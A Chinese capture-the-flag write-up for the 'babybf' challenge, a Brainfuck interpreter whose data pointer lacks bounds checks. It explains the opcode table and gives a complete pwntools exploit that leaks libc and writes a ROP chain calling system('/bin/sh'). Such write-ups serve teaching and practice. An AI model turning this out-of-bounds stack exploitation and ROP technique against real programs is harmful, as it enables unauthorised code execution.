babybf
赛后分析了下,发现是一道很有意思的题目
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。
其实本题是一个c语言实现的Brainfuck语言的解释器,就是让我们输入Brainfuck语言去pwn
分析:
当然我们一开始啥都不知道,ida打开程序,主要分析这里的数组
这里把我们输入的code当作数组的下标进去转换
我们看这个数组是啥东西
我们要转换到这些00~08的值的话就要送一些特定的字符
其实这里相当于对应选项v4[0~8],去执行一些命令
我们计算一下地址可以得到对应的字符
例:0:(0x2110-0x2020)/4=0x3c=“<”
总结可得:
0:\x3c -->"<"
1:\x3e -->">"
2:\x2b -->"+"
3:\x2d -->"-"
4:\x2e -->"."
5:\x2c -->","
6:\x5b -->"["
7:\x5d -->"]"
8:\x00
这其实就是Brainfuck语言的字符标识
Brainfuck程序可以用下面的替换方法翻译成C语言(这题ptr是在栈上):
Brainfuck C > ++ptr; < –ptr; + ++*ptr; - –*ptr; . putchar(*ptr); , *ptr =getch(); [ while (*ptr) { ] }
利用:
这题漏洞在数组越界,没对下标做检查
我们通过调试可得初始位置ptr在0x7fffe0c1eb60
在栈上的固定偏移如下
接下来就好做了,(偏移0x20)泄露libc,(偏移0x38)写rop到ret处执行system(“/bin/sh”)
Exp:
from pwn import *
local_file = './chall'
local_libc = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 0
if select == 0:
r = process(local_file)
libc = ELF(local_libc)
elif select == 1:
r = remote('node4.buuoj.cn',25904 )
libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims :r.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
#-----------------------------
def debug(cmd=''):
gdb.attach(r,cmd)
pause()
def cmd(content):
sla("len> ",str(len(content)))
sea("code> ",content)
#------------------------
#debug()
cmd(">"*0x20+".>.>.>.>.>.")
libc_base=uu64(ru("\x7f")[-6:])-0x401B40
info("libc_base",libc_base)
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
ret = libc_base + next(libc.search(asm('ret')))
payload=flat(ret,pop_rdi,binsh,system)
print(len(payload))
cmd(">"*0x38+",>"*(len(payload)-1)+',')
r.send(payload)
r.interactive()